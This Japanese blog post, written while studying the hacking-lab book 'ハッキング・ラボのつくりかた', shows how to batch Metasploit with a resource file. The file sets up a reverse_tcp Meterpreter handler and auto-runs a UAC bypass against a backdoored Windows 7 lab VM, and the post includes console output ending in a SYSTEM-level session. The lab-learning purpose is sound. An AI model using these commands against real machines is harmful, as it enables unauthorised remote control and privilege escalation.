Metasploitをバッチで実行する
ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習
- 作者: IPUSIRON
- 出版社/メーカー: 翔泳社
- 発売日: 2018/12/07
- メディア: 単行本(ソフトカバー)
- この商品を含むブログを見る
IPUSIRONさん著作の「ハッキング・ラボ」を読み進めています。
ハッキング・ラボではペネトレーションテストに用いられるフレームワークのMetasploitを使用して、 仮想環境上のOSに対する攻撃を体験することができます。 基本的にMetasploitをCUIで使用するのですが、本を読んでいるうちに同じ処理を何度か繰り返す場面があったので、 Metasploitをバッチで実行可能か調べました。
Windows7に設置したバックドアとセッションを確立し、 UACバイパスモジュール(exploit/windows/local/bypassuac)を使用してシステム権限を奪取する過程をバッチ化します。
下記サイトにあるように、基本的にはコマンドをバッチファイルに書き足していけばよいです。
UACバイパスモジュールについては、AUTORUNSCRIPTオプションにモジュールを指定してます。
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.2 set AUTORUNSCRIPT exploit/windows/local/bypassuac exploit
上記バッチをmeterpreter.rcに記述したとします。 msfconsoleを立ち上げる時に、下記のように.rcファイルを-rオプションで指定して読み込ませます。
msfconsole -r meterpreter.rc
起動後、下記のようにUACバイパスモジュール実行まで自動で処理が進みます。
[*] Processing meterpreter.rc for ERB directives. resource (meterpreter.rc)> use exploit/multi/handler resource (meterpreter.rc)> set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp resource (meterpreter.rc)> set LHOST 10.0.0.2 LHOST => 10.0.0.2 resource (meterpreter.rc)> set AUTORUNSCRIPT exploit/windows/local/bypassuac AUTORUNSCRIPT => exploit/windows/local/bypassuac resource (meterpreter.rc)> exploit [*] Started reverse TCP handler on 10.0.0.2:4444 [*] Sending stage (179779 bytes) to 10.0.0.102 [*] Meterpreter session 1 opened (10.0.0.2:4444 -> 10.0.0.102:49235) at 2018-12-30 18:48:55 +0900 [*] Sending stage (179779 bytes) to 10.0.0.102 [*] Meterpreter session 2 opened (10.0.0.2:4444 -> 10.0.0.102:49236) at 2018-12-30 18:48:55 +0900 [*] Session ID 1 (10.0.0.2:4444 -> 10.0.0.102:49235) processing AutoRunScript 'exploit/windows/local/bypassuac' [-] Handler failed to bind to 10.0.0.2:4444:- - [-] Handler failed to bind to 0.0.0.0:4444:- - [-] Exploit aborted due to failure: none: Already in elevated state [*] Session ID 2 (10.0.0.2:4444 -> 10.0.0.102:49236) processing AutoRunScript 'exploit/windows/local/bypassuac' [-] Handler failed to bind to 10.0.0.2:4444:- - [-] Handler failed to bind to 0.0.0.0:4444:- - [*] UAC is Enabled, checking level... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... meterpreter > [+] Part of Administrators group! Continuing... [*] Uploaded the agent to the filesystem.... [*] Uploading the bypass UAC executable to the filesystem... [*] Meterpreter stager executable 73802 bytes long being uploaded..
私の環境ではsession1がシステム権限昇格後のセッションになっていました。
meterpreter > background [*] Backgrounding session 2... msf exploit(multi/handler) > sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ IE8WIN7 10.0.0.2:4444 -> 10.0.0.102:49235 (10.0.0.102) 2 meterpreter x86/windows IE8WIN7\IEUser @ IE8WIN7 10.0.0.2:4444 -> 10.0.0.102:49236 (10.0.0.102)